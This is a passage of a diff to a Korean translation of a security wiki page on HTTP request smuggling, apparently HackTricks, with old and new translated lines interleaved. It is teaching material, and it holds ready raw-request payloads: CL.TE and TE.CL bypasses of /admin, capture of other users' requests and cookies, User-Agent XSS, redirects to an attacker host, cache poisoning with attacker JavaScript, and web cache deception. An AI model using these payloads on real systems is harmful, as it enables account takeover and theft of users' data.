- 일부 FE는 클라이언트가 자신의 연결을 재사용했을 때만 업스트림 BE 연결을 재사용합니다. partial-requests를 사용해 클라이언트 재사용을 그대로 반영하는 FE 동작을 탐지하세요.
|
||||
- connection-locked 기법은 PortSwigger의 "Browser‑Powered Desync Attacks"를 참조하세요.
|
||||
4. State probes
|
||||
- 동일한 TCP 연결에서 첫 요청과 이후 요청 간의 차이(첫-요청 라우팅/검증)를 찾아보세요.
|
||||
- Burp "HTTP Request Smuggler"에는 이 과정을 자동화하는 connection‑state probe가 포함되어 있습니다.
|
||||
- 동일한 TCP 연결에서 첫 번째 요청과 이후 요청의 차이를 찾아보세요(first-request routing/validation).
|
||||
- Burp "HTTP Request Smuggler"는 이를 자동화하는 connection‑state probe를 포함합니다.
|
||||
5. Visualize the wire
|
||||
- Burp "HTTP Hacker" 확장을 사용하여 재사용 및 partial requests를 실험하는 동안 연결 결합(concatenation)과 메시지 프레이밍을 직접 확인하세요.
|
||||
- 실험 중에 재사용 및 partial requests를 조정하면서 연결 및 메시지 프레이밍을 직접 검사하려면 Burp "HTTP Hacker" 확장을 사용하세요.
|
||||
|
||||
### Connection‑locked request smuggling (reuse-required)
|
||||
|
||||
일부 front-end는 클라이언트가 자신의 연결을 재사용할 때만 업스트림 연결을 재사용합니다. 실제 smuggling은 존재하지만 클라이언트 측 재사용에 조건부입니다. 구분하고 영향을 입증하려면:
|
||||
- 서버 측 버그를 증명하세요.
|
||||
일부 front-end는 클라이언트가 자신의 연결을 재사용할 때만 업스트림 연결을 재사용합니다. 실제 smuggling은 존재하지만 클라이언트 측 재사용에 의존합니다. 구분 및 영향 증명을 위해:
|
||||
- 서버 측 버그를 입증하세요
|
||||
- HTTP/2 nested-response check를 사용하거나,
|
||||
- partial-requests를 사용해 FE가 클라이언트 재사용 시에만 업스트림을 재사용함을 보여주세요.
|
||||
- 직접적인 교차 사용자 소켓 남용이 차단되더라도 실제 영향을 보여주세요:
|
||||
- Cache poisoning: desync를 통해 공유 캐시를 오염시켜 응답이 다른 사용자에 영향을 주도록 함.
|
||||
- Internal header disclosure: FE가 주입한 헤더(예: auth/trust 헤더)를 반사하고 이를 통해 권한 우회로 전환.
|
||||
- Bypass FE controls: 프론트엔드를 통과해 제한된 경로/메서드를 smuggle.
|
||||
- Host-header abuse: 호스트 라우팅 특이점을 결합해 내부 vhost로 전환.
|
||||
- 운영자 워크플로우
|
||||
- 제어된 재사용으로 재현하세요 (Turbo Intruder `requestsPerConnection=2`, 또는 Burp Repeater 탭 그룹 → "Send group in sequence (single connection)").
|
||||
- 그런 다음 cache/header-leak/control-bypass primitives로 연결(chain)하고 교차 사용자 또는 권한 영향(impact)을 입증하세요.
|
||||
- partial-requests로 FE가 클라이언트가 재사용할 때만 업스트림을 재사용함을 보여주세요.
|
||||
- 직접적인 교차 사용자 소켓 악용이 차단되더라도 실제 영향을 보여주세요:
|
||||
- Cache poisoning: desync를 통해 공유 캐시를 오염시켜 다른 사용자에게 영향을 미치는 응답을 만들어냅니다.
|
||||
- Internal header disclosure: FE가 삽입한 헤더(예: auth/trust 헤더)를 반영하여 권한 우회로 피벗합니다.
|
||||
- Bypass FE controls: front-end를 우회하여 제한된 경로/메서드를 통과시킵니다.
|
||||
- Host-header abuse: 호스트 라우팅 특이점과 결합해 내부 vhost로 피벗합니다.
|
||||
- Operator workflow
|
||||
- 제어된 재사용으로 재현하세요(Turbo Intruder `requestsPerConnection=2`, 또는 Burp Repeater 탭 그룹 → "Send group in sequence (single connection)").
|
||||
- 그런 다음 캐시/헤더-leak/control-bypass 프리미티브로 연결해 교차 사용자 또는 권한 영향으로 증명하세요.
|
||||
|
||||
> See also connection‑state attacks, which are closely related but not technically smuggling:
|
||||
>
|
||||
@ -371,7 +416,7 @@ Impact: 없음. 클라이언트의 프레이밍이 서버와 비동기화되었
|
||||
|
||||
### Client‑side desync constraints
|
||||
|
||||
브라우저 기반/browser-powered 또는 client-side desync를 목표로 하는 경우, 악성 요청은 브라우저가 cross-origin으로 보낼 수 있어야 합니다. Header obfuscation 트릭은 작동하지 않습니다. navigation/fetch로 도달 가능한 primitives에 집중한 뒤, downstream 컴포넌트가 응답을 반사하거나 캐시할 때 cache poisoning, header disclosure, 또는 front-end control bypass로 전환하세요.
|
||||
브라우저 구동/클라이언트 측 desync를 노리는 경우, 악성 요청은 브라우저가 cross-origin으로 보낼 수 있어야 합니다. Header obfuscation 기법은 작동하지 않습니다. navigation/fetch로 도달 가능한 프리미티브에 집중한 뒤, 다운스트림 컴포넌트가 응답을 반영하거나 캐시하면 cache poisoning, header disclosure, 또는 front-end 제어 우회로 피벗하세요.
|
||||
|
||||
For background and end-to-end workflows:
|
||||
|
||||
@ -381,23 +426,23 @@ browser-http-request-smuggling.md
|
||||
|
||||
### Tooling to help decide
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): 저수준 HTTP 동작과 소켓 연결(concatenation)을 노출합니다.
|
||||
- HTTP Hacker (Burp BApp Store): 저레벨 HTTP 동작과 소켓 연결(concatenation)을 노출합니다.
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: `requestsPerConnection`을 통한 연결 재사용 제어가 정밀합니다.
|
||||
- Burp HTTP Request Smuggler: 첫-요청 라우팅/검증을 찾아내는 connection‑state probe가 포함되어 있습니다.
|
||||
- Turbo Intruder: `requestsPerConnection`을 통해 연결 재사용을 정밀 제어합니다.
|
||||
- Burp HTTP Request Smuggler: first‑request 라우팅/검증을 찾는 connection‑state probe를 포함합니다.
|
||||
|
||||
> [!NOTE]
|
||||
> 재사용 전용 효과는 서버 측 desync를 증명하고 구체적인 영향(예: 오염된 캐시 아티팩트, 내부 헤더 노출로 인한 권한 우회 가능성, 우회된 FE 제어 등)을 입증하지 못하면 문제로 취급하지 마세요.
|
||||
> 재사용 전용 효과는 서버 측 desync와 구체적인 영향(오염된 캐시 아티팩트, 내부 헤더 누출로 인한 권한 우회, 우회된 FE 제어 등)을 증명하지 못하면 심각한 문제로 간주하지 마세요.
|
||||
|
||||
## Abusing HTTP Request Smuggling
|
||||
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
때때로 front-end 프록시는 들어오는 요청을 검사하여 보안 조치를 시행합니다. 하지만 HTTP Request Smuggling을 악용하면 이러한 조치를 우회하여 권한 없는 접근을 허용할 수 있습니다. 예를 들어, `/admin`에 대한 접근은 외부에서 금지되어 front-end 프록시가 적극적으로 차단할 수 있습니다. 그럼에도 불구하고 이 프록시는 smuggled HTTP 요청 내에 포함된 요청을 제대로 검사하지 않아 이러한 제한을 우회할 수 있는 구멍을 남길 수 있습니다.
|
||||
때때로 front-end 프록시는 보안 조치를 적용하여 들어오는 요청을 검사합니다. 그러나 HTTP Request Smuggling을 악용하면 이러한 조치를 우회해 제한된 엔드포인트에 무단으로 접근할 수 있습니다. 예를 들어 `/admin`에 대한 외부 접근이 금지되어 front-end 프록시가 차단하더라도, 이 프록시는 smuggled HTTP 요청 내부의 임베디드 요청을 검사하지 않아 제한을 우회할 수 있습니다.
|
||||
|
||||
다음 예시는 HTTP Request Smuggling을 사용해 front-end 보안 제어를 우회하는 방법을 보여주며, 특히 일반적으로 front-end 프록시가 보호하는 `/admin` 경로를 대상으로 합니다:
|
||||
다음 예시들은 주로 front-end 프록시가 보호하는 `/admin` 경로를 목표로 하여 HTTP Request Smuggling이 front-end 보안 제어를 어떻게 우회할 수 있는지 보여줍니다:
|
||||
|
||||
**CL.TE 예시**
|
||||
**CL.TE Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -414,8 +459,7 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더를 사용하고, 이후 포함된 요청은 `Transfer-Encoding: chunked` 헤더를 사용합니다.
|
||||
front-end proxy는 초기 `POST` 요청을 처리하지만 포함된 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
|
||||
CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 활용되고, 이후의 임베디드 요청은 `Transfer-Encoding: chunked` 헤더를 사용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 임베디드된 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다.
|
||||
|
||||
**TE.CL 예시**
|
||||
```
|
||||
@ -433,13 +477,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
반대로, TE.CL attack에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이어서 포함된 요청은 `Content-Length` 헤더를 기준으로 처리됩니다. CL.TE attack과 마찬가지로, front-end proxy는 스머글된 `GET /admin` 요청을 간과하여 제한된 `/admin` 경로에 의도치 않게 접근을 허용합니다.
|
||||
반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하며, 그에 이어 포함된 요청은 `Content-Length` 헤더를 기준으로 처리됩니다. CL.TE 공격과 마찬가지로 front-end proxy는 smuggled `GET /admin` 요청을 간과하여 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다.
|
||||
|
||||
### 프론트엔드 요청 재작성 드러내기 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### 프론트엔드 요청 재작성 확인 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Applications often employ a **프론트엔드 서버** to modify incoming requests before passing them to the 백엔드 서버. A typical modification involves adding headers, such as `X-Forwarded-For: <IP of the client>`, to relay the client's IP to the 백엔드. Understanding these modifications can be crucial, as it might reveal ways to **보호 우회** 또는 **숨겨진 정보나 엔드포인트 발견**.
|
||||
애플리케이션은 종종 백엔드 서버로 요청을 전달하기 전에 수신 요청을 수정하기 위해 **front-end server**를 사용합니다. 일반적인 수정 예로는 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>` 같은 헤더를 추가하는 것이 있습니다. 이러한 수정 동작을 파악하는 것은 중요할 수 있으며, 이는 **보호 우회**나 **숨겨진 정보나 엔드포인트를 발견**하는 방법을 드러낼 수 있습니다.
|
||||
|
||||
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에 에코하는 POST 파라미터를 찾으세요. 그런 다음, 해당 파라미터를 마지막에 사용하도록 요청을 작성하세요. 예시는 다음과 같습니다:
|
||||
proxy가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 파라미터를 찾으세요. 그런 다음 이 파라미터를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -456,27 +500,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
|
||||
이 구조에서는 후속 요청 구성 요소가 `search=` 다음에 이어붙여지며, 이 파라미터는 응답에 반영됩니다. 이 반영은 후속 요청의 헤더를 노출합니다.
|
||||
|
||||
이 구조에서는 이후의 요청 구성 요소들이 `search=` 뒤에 이어붙여지며, 이 파라미터가 응답에 반영됩니다. 이 반영은 이후 요청의 헤더들을 노출시킵니다.
|
||||
`Content-Length` 헤더를 중첩된 요청의 실제 콘텐츠 길이와 맞추는 것이 중요합니다. 너무 낮으면 반영된 데이터가 잘리고, 너무 높으면 요청이 오류를 일으킬 수 있으므로 작은 값으로 시작해 점차 증가시키는 것이 좋습니다.
|
||||
|
||||
It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
|
||||
이 기법은 TE.CL 취약점 환경에서도 적용할 수 있지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 개행 문자와 상관없이 값들은 search 파라미터에 덧붙여집니다.
|
||||
|
||||
`Content-Length` 헤더를 중첩된 요청의 실제 콘텐츠 길이에 맞추는 것이 중요합니다. 너무 낮으면 반영된 데이터가 잘려 나오고, 너무 높으면 요청이 오류를 일으킬 수 있으므로, 작은 값부터 시작해 점차 증가시키는 것이 권장됩니다.
|
||||
이 방법은 주로 프론트엔드 프록시가 수행하는 요청 변경 사항을 이해하기 위한 것으로, 일종의 자체 조사 역할을 합니다.
|
||||
|
||||
This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
|
||||
### 다른 사용자의 요청 캡처 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
이 기법은 TE.CL 취약점 상황에서도 적용할 수 있으나, 요청은 `search=\r\n0`으로 종료되어야 합니다. 줄바꿈 문자와 관계없이 값들은 `search` 파라미터에 이어붙여집니다.
|
||||
POST 동작 중에 특정 요청을 파라미터의 값으로 덧붙이면 다음 사용자의 요청을 캡처할 수 있습니다. 방법은 다음과 같습니다:
|
||||
|
||||
This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
|
||||
|
||||
이 방법은 주로 프론트엔드 프록시가 수행하는 요청 수정사항을 이해하는 데 사용되며, 본질적으로 자체 조사를 수행합니다.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
POST 작업 중 파라미터의 값으로 특정 요청을 이어붙이면 다음 사용자의 요청을 캡처할 수 있습니다. 방법은 다음과 같습니다:
|
||||
|
||||
By appending the following request as the value of a parameter, you can store the subsequent client's request:
|
||||
다음 요청을 파라미터의 값으로 덧붙이면 이후 클라이언트의 요청을 저장할 수 있습니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -496,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
|
||||
이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션에 내용을 저장하도록 의도되어 있다. 따라서 이후 요청의 내용은 댓글로 표시된다.
|
||||
|
||||
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
|
||||
그러나 이 기법에는 한계가 있다. 일반적으로 스머글된 요청에서 사용된 파라미터 구분자까지의 데이터만 캡처된다. URL-encoded form 제출의 경우 이 구분자는 `&` 문자다. 즉, 피해자 사용자의 요청에서 캡처되는 내용은 첫 번째 `&`에서 중단되며, 이는 쿼리 문자열의 일부일 수도 있다.
|
||||
|
||||
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
|
||||
또한 이 방법은 TE.CL 취약점에서도 적용 가능하다는 점에 유의해야 한다. 이런 경우 요청은 `search=\r\n0`로 끝나야 한다. 개행 문자와 상관없이 값들은 search 파라미터에 추가된다.
|
||||
|
||||
### Using HTTP request smuggling to exploit reflected XSS
|
||||
### HTTP request smuggling을 사용하여 Reflected XSS 악용하기
|
||||
|
||||
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
|
||||
HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹페이지를 악용하는 데 활용될 수 있으며, 다음과 같은 중요한 이점을 제공한다:
|
||||
|
||||
- Interaction with the target users is **not required**.
|
||||
- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
|
||||
- 타겟 사용자와의 상호작용이 **필요하지 않음**.
|
||||
- 요청의 통상적으로 접근할 수 없는 부분(예: HTTP request headers)에 있는 XSS도 악용할 수 있음.
|
||||
|
||||
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
|
||||
웹사이트가 User-Agent header를 통해 **Reflected XSS**에 취약한 경우, 다음 payload는 이 취약점을 악용하는 방법을 보여준다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -530,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
이 페이로드는 다음과 같이 취약점을 악용하도록 구성되어 있습니다:
|
||||
This payload는 다음과 같이 취약점을 악용하도록 구성되어 있습니다:
|
||||
|
||||
1. 겉으로는 일반적인 `POST` 요청을 시작하고, smuggling 시작을 나타내기 위해 `Transfer-Encoding: chunked` 헤더를 사용합니다.
|
||||
2. 이어서 청크된 메시지 본문의 끝을 표시하는 `0`을 보냅니다.
|
||||
3. 그런 다음 smuggled된 `GET` 요청이 도입되며, 여기서 `User-Agent` 헤더에 `<script>alert(1)</script>` 같은 스크립트를 주입하여 서버가 이 후속 요청을 처리할 때 XSS를 유발합니다.
|
||||
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
|
||||
2. Following with a `0`, marking the end of the chunked message body.
|
||||
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
|
||||
|
||||
`User-Agent`를 smuggling으로 조작함으로써 페이로드는 정상적인 요청 제약을 우회하여 비표준적이지만 효과적인 방식으로 Reflected XSS 취약점을 악용합니다.
|
||||
By manipulating the `User-Agent` through smuggling, the payload는 정상적인 요청 제약을 우회하여 비표준적이지만 효과적인 방식으로 Reflected XSS 취약점을 악용합니다.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> 사용자 입력이 **`Content-type`**이 **`text/plain`**과 같은 응답에 반영되어 XSS 실행이 차단되는 경우가 있습니다. 서버가 **HTTP/0.9를 지원한다면 이를 우회할 수 있을 가능성**이 있습니다!
|
||||
> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
|
||||
|
||||
HTTP/0.9 버전은 이전에 1.0보다 앞선 버전으로 **GET** 동사만 사용하며 **headers**를 반환하지 않고 본문만 반환합니다.
|
||||
HTTP/0.9 버전은 이전에 HTTP/1.0보다 먼저 존재했으며 **GET** 동사만 사용하고 **headers** 없이 본문만 응답합니다.
|
||||
|
||||
[**this writeup**](https://mizu.re/post/twisty-python)에서, 이것은 request smuggling과 **사용자 입력을 그대로 응답하는 취약한 엔드포인트**를 이용해 HTTP/0.9로 요청을 smuggle하는 방식으로 남용되었습니다. 응답에 반영될 파라미터는 **가짜 HTTP/1.1 응답(헤더와 본문 포함)**을 담고 있었기 때문에, 최종 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
|
||||
In [**this writeup**](https://mizu.re/post/twisty-python), 이 기법은 request smuggling과 **사용자 입력을 응답으로 그대로 반환하는 취약한 endpoint**를 이용해 HTTP/0.9 요청을 smuggle하는 데 악용되었습니다. 응답에 반영될 파라미터는 **fake HTTP/1.1 response (with headers and body)**를 포함하고 있어, 응답이 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
|
||||
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### HTTP Request Smuggling을 이용한 같은 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
애플리케이션은 종종 리다이렉트 URL에 `Host` 헤더의 호스트명을 사용하여 한 URL에서 다른 URL로 리다이렉트합니다. 이는 Apache나 IIS 같은 웹 서버에서 흔한 동작입니다. 예를 들어, 슬래시가 없는 폴더를 요청하면 슬래시를 포함하도록 리다이렉트됩니다:
|
||||
애플리케이션은 종종 redirect URL에 `Host` 헤더의 호스트명을 사용하여 한 URL에서 다른 URL로 리디렉트합니다. 이는 Apache나 IIS 같은 웹 서버에서 흔한 동작입니다. 예를 들어, 폴더 요청 시 trailing slash가 없으면 slash를 포함하도록 리디렉트됩니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -559,7 +595,7 @@ Host: normal-website.com
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
겉으로 보기엔 무해해 보이지만, 이 동작은 HTTP request smuggling을 사용하여 사용자를 외부 사이트로 리다이렉트하도록 조작될 수 있습니다. 예를 들어:
|
||||
겉보기에는 무해해 보일 수 있지만, 이 동작은 HTTP request smuggling을 사용해 사용자를 외부 사이트로 리디렉션하도록 조작될 수 있습니다. 예를 들어:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -573,7 +609,7 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
이 smuggled request는 다음에 처리되는 사용자 요청을 attacker-controlled website로 리디렉트할 수 있습니다:
|
||||
This smuggled request는 다음에 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션되게 할 수 있습니다:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
@ -585,17 +621,17 @@ Host: vulnerable-website.com
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
|
||||
In this 시나리오에서는 사용자가 요청한 JavaScript 파일이 가로채집니다. 공격자는 악성 JavaScript를 응답으로 제공하여 사용자를 잠재적으로 손상시킬 수 있습니다.
|
||||
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning는 일반적으로 성능을 향상시키기 위해 **프론트엔드 인프라가 콘텐츠를 캐시하는** 어떤 구성 요소가 있는 경우 실행될 수 있습니다. 서버의 응답을 조작함으로써 **poison the cache**하는 것이 가능합니다.
|
||||
Web cache poisoning은 보통 성능 향상을 위해 **front-end infrastructure가 콘텐츠를 캐시**하는 경우 실행될 수 있습니다. 서버의 응답을 조작하면 **캐시를 오염(poison)** 시킬 수 있습니다.
|
||||
|
||||
앞서 우리는 서버 응답이 404 오류를 반환하도록 어떻게 변경될 수 있는지 관찰했습니다(참조: [Basic Examples](#basic-examples)). 마찬가지로, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 콘텐츠를 반환하도록 만들 수 있습니다. 그 결과 `/static/include.js`의 콘텐츠가 캐시에서 `/index.html`의 내용으로 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되고, 이는 잠재적으로 Denial of Service (DoS)로 이어질 수 있습니다.
|
||||
앞서 우리는 서버 응답을 조작해 404 에러를 반환하도록 만드는 방법을 살펴보았습니다(참조 [Basic Examples](#basic-examples)). 이와 유사하게, 서버를 속여 `/static/include.js` 요청에 대해 `/index.html` 콘텐츠를 반환하게 만들 수 있습니다. 결과적으로 `/static/include.js`의 내용이 `/index.html`의 내용으로 캐시에 덮어써져 사용자가 `/static/include.js`에 접근하지 못하게 되어 Denial of Service (DoS)가 발생할 수 있습니다.
|
||||
|
||||
이 기술은 **Open Redirect vulnerability**가 발견되거나 사이트 내에서 **on-site redirect to an open redirect**가 존재하는 경우 특히 강력해집니다. 이러한 취약점을 악용하면 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 대체할 수 있으며, 결과적으로 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대해 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
|
||||
이 기법은 특히 **Open Redirect** 취약점이 발견되거나 사이트 내 리디렉트가 open redirect로 이어지는 경우에 매우 강력해집니다. 이러한 취약점을 악용하면 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대해 대규모 Cross-Site Scripting (XSS) 공격을 가능하게 합니다.
|
||||
|
||||
아래는 **cache poisoning combined with an on-site redirect to open redirect**을 이용한 공격의 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 변경하여 공격자가 제어하는 JavaScript 코드를 제공하게 하는 것입니다:
|
||||
아래는 **cache poisoning combined with an on-site redirect to open redirect**를 악용하는 예시입니다. 목표는 `/static/include.js`의 캐시 콘텐츠를 공격자가 제어하는 JavaScript 코드로 변경하는 것입니다:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -613,20 +649,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
임베디드된 요청이 `/post/next?postId=3`을(를) 대상으로 하고 있다는 점에 주목하세요. 이 요청은 `/post?postId=4`로 리디렉션되며, 도메인 판별을 위해 **Host header value**를 사용합니다. 공격자가 **Host header**를 변경하면 요청을 자신들의 도메인으로 리디렉션할 수 있습니다 (**on-site redirect to open redirect**).
|
||||
|
||||
성공적인 **socket poisoning** 후, `/static/include.js`에 대한 **GET request**를 시작해야 한다. 이 요청은 이전의 **on-site redirect to open redirect** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져온다.
|
||||
성공적인 **socket poisoning** 이후 `/static/include.js`에 대한 **GET request**가 시작되어야 합니다. 이 요청은 이전의 **on-site redirect to open redirect** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져옵니다.
|
||||
|
||||
그 결과, 이후 `/static/include.js`에 대한 모든 요청은 공격자가 만든 스크립트의 캐시된 콘텐츠를 제공하게 되어, 사실상 광범위한 XSS 공격을 개시하게 된다.
|
||||
그 이후 `/static/include.js`에 대한 모든 요청은 공격자의 스크립트가 캐시된 내용을 제공하게 되어, 사실상 광범위한 XSS 공격이 시작됩니다.
|
||||
|
||||
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### HTTP request smuggling을 사용한 web cache deception 수행 <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **web cache poisoning**과 **web cache deception**의 차이점은 무엇인가?
|
||||
> **web cache poisoning과 web cache deception의 차이는 무엇인가요?**
|
||||
>
|
||||
> - **web cache poisoning**에서는 공격자가 애플리케이션이 캐시에 악성 콘텐츠를 저장하도록 유도하고, 이 콘텐츠가 캐시에서 다른 애플리케이션 사용자들에게 제공된다.
|
||||
> - **web cache deception**에서는 공격자가 다른 사용자의 민감한 콘텐츠가 캐시에 저장되게 만든 뒤, 공격자가 그 콘텐츠를 캐시에서 가져온다.
|
||||
> - **web cache poisoning**에서는 공격자가 애플리케이션이 캐시에 일부 악성 콘텐츠를 저장하도록 유도하고, 그 콘텐츠가 캐시에서 다른 사용자들에게 제공됩니다.
|
||||
> - **web cache deception**에서는 공격자가 다른 사용자에 속한 민감한 콘텐츠를 캐시에 저장하도록 유도한 뒤, 그 콘텐츠를 캐시에서 꺼내어 읽어냅니다.
|
||||
|
||||
공격자는 민감한 사용자별 콘텐츠를 가져오는 smuggled request를 제작한다. 다음 예를 보자:
|
||||
공격자는 민감한 사용자별 콘텐츠를 가져오는 smuggled request를 구성합니다. 다음 예를 고려하세요:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -637,18 +673,17 @@ Note the embedded request targeting `/post/next?postId=3`. This request will be
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
If this smuggled request가 정적 콘텐츠(예: `/someimage.png`)용으로 의도된 캐시 항목을 오염시키면, 피해자의 `/private/messages`에 있는 민감한 데이터가 정적 콘텐츠의 캐시 항목에 캐시될 수 있습니다. 결과적으로 공격자는 이 캐시된 민감한 데이터를 획득할 수 있습니다.
|
||||
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
|
||||
|
||||
### TRACE를 HTTP Request Smuggling을 통해 악용하기 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### HTTP Request Smuggling을 통한 TRACE 악용 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
